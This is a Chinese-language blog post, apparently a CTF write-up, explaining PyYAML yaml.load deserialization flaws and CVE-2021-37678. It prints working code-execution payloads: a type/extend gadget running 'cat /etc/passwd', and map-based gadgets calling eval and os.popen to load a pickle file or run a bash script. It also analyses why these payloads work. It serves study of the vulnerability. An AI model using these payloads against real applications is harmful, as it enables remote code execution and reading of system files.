Pyyaml-yaml.load反序列化漏洞

这篇具有很好参考价值的文章主要介绍了Pyyaml-yaml.load反序列化漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

#CTF #CTF-漏洞使用

前两天打网鼎杯的时候遇到的这题,在这个反序列化漏洞上,试了很多种方法都没有成功,非常遗憾,所以就简单记录一下yaml.load这个漏洞。

介绍

YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。

YAML 的配置文件后缀为 .yml,如:blog.yml 。

基础语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • '#'表示注释

数据类型

YAML 支持以下几种数据类型:

  • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  • 纯量(scalars):单个的、不可再分的值

Yaml.dump序列化与反序列化

能够将python的多种数据类型的数据转换成Yaml格式的字符串

例如:

Pyyaml-yaml.load反序列化漏洞
Pyyaml-yaml.load反序列化漏洞
相关操作官方有提供相应的文档PyYaml-官方文档

反序列化漏洞

基本实现操作

这一部分官方文档说明的很清楚[[PyYaml-官方文档#Objects]]

调用自定义的类

例子:

  1. 序列化:
import yaml  
  
class User:  
  
   def __init__(self):  
      self.name = ""  
  
   def set(self,txt):  
      self.name = txt  
  
user = User()  
user.set("Blog")  
  
content = yaml.dump(user)  
print(content)

结果为:

Pyyaml-yaml.load反序列化漏洞

  1. 反序列化

继续以上面为例:

sts1 = """!!python/object:__main__.User
name: Blog
"""
sts2 = "!!python/object:__main__.User {name: Blog}"

item1 = yaml.load(sts1)
item2 = yaml.load(sts2)
print(item1)
print(item2)

print(item1.name)
print(item2.name)

Pyyaml-yaml.load反序列化漏洞

调用系统函数

很遗憾,经过我的测试,对于PyYaml>=5.1.0版本的yaml.load无法直接执行函数,只能生成函数的对象,例如:

import yaml  
from yaml import Loader  
  
payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'
yaml.load(payload)

结果:

Pyyaml-yaml.load反序列化漏洞

如果想要实现任意代码执行,则需要在yaml.load中加入参数Loader=Loader,并且from yaml import Loader

CVE-2021-37678漏洞

TensorFlow 和 TensorFlow 的封装项目 Keras 的维护人员修复了因 YAML 解析不安全而引发的不可信序列化漏洞。该漏洞的编号为 CVE-2021-37678,为严重漏洞,可使攻击者在应用程序反序列化YAML 格式下的 Keras 模型时执行任意代码。

import yaml
 
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''

yaml.load(payload)
  1. 'extend’的出现
    这个漏洞的原理,我去看了一下yaml.load的源码,似乎发现了一些端倪

Pyyaml-yaml.load反序列化漏洞

construct_python_object_apply函数里面,有一个如下的调用:

Pyyaml-yaml.load反序列化漏洞

instance是创建的实例,按照listitems的属性,应当是调用.extend在数组末尾添加listitems中的数据,但是当instance是一个字典,并且其中有一个{'extend':function}那么extend就发生了变化,可以实现任意函数的调用了.

  1. type函数

可以看到yaml字符串中有一个!!python/object/new:type,这个是Python的一个函数,我之前只用过type(“add”)这种一个参数的,但是type有好几种参数类型,这里参考[[Type-函数说明]],因此创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数,很神奇

无{}和[]符号反序列化漏洞

下面这两种是我看的其他师傅的方法

!!python/object/new:bytes  
        - !!python/object/new:map  
          - !!python/name:eval  
          - ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]
!!python/object/new:frozenset  
- !!python/object/new:map  
  - !!python/name:os.popen  
  - ["bash /app/fileinfo/cmd"]

实际上tuple也同样

!!python/object/new:tuple  
        - !!python/object/new:map  
          - !!python/name:eval  
          - ["print(123)"]

原理分析

yaml正常无Loader指定时,好像是无法执行函数的命令,因此需要借助其他函数,首先借助的是[[Map-函数说明 | map函数]],由于返回的是一个迭代器,但是如何执行这个迭代器是一个很大的问题,通过查看yaml.load的源码,我最后终于定位到执行!!python...标签的代码了

Pyyaml-yaml.load反序列化漏洞

对于上面使用的frozensetbytes以及测试过的tuple就相当于里面的cls,而args参数则是map(function,args)的实例,但是到这一步已经没法再往下找了,后面的代码就无法定位了…
所以只要python某一个内置类cls执行cls.__new__(cls,*args,**kwds)存在任意执行代码就可以使用了

经过测试,发现frozenset/bytes/tuple三个类在这种代码下可以实现任意代码执行

感想

作为WEB菜鸡,记录一下yaml这个漏洞,之后写WP记录一下文章来源地址https://www.toymoban.com/news/detail-422594.html

到了这里,关于Pyyaml-yaml.load反序列化漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 反序列化漏洞

    反序列化漏洞(Deserialization Vulnerability)是指攻击者利用应用程序在反序列化操作中的漏洞,将恶意序列化对象注入到应用程序中,从而执行未授权的操作或者以应用程序的身份执行恶意代码,从而导致系统被攻击的一种漏洞。   序列化和反序列化是一种将对象或数据结构转

    2024年02月13日
    浏览(34)
  • session反序列化漏洞

    当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户

    2024年02月07日
    浏览(62)
  • 几种反序列化漏洞

    Error类 PHP7.0,因为存在__toString,可以进行XSS Exception类 因为存在__toString,可以进行XSS DirectoryIterator类 因为存在__toString,可以获取符合要求的第一个文件名 SplFileObject类 因为存在__toString,可以读取文件内容 SimpleXMLElement 可以造成 xxe xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE X

    2024年02月10日
    浏览(35)
  • thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展 配置防调试超时 测试版本5.1.37 适用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,进入windows类 查看removeFiles方法 poc1(任意文件删除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    浏览(37)
  • Weblogic反序列化漏洞

    漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 404特征Weblogic常用端口:7001 任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 使用任意读取文件方式获取用户

    2024年02月09日
    浏览(43)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(47)
  • 反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞

    项目地址:Collections – Download Apache Commons Collections 本地复现环境: jdk 1.7.0_80 IDEA Project Structrure——Projrct设置成1.7 IDEA Project Structrure——Moudles设置成1.7 Settings——Build,Execution,Deployment——Compiler——Java Compiler——Target bytecode version设置成7 Apache Commons Collections ≤ 3.2.1 Apache Com

    2023年04月21日
    浏览(59)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(61)
  • typecho 反序列化漏洞复现

    下载typecho14.10.10  安装,这里需要安装数据库  POC.php  POST数据包如下,访问install.php并携带参数finish,Referer来自本网站,POST传递恶意参数 步骤和前面一样,把payload放__typecho_config=就行

    2024年02月09日
    浏览(51)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(60)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包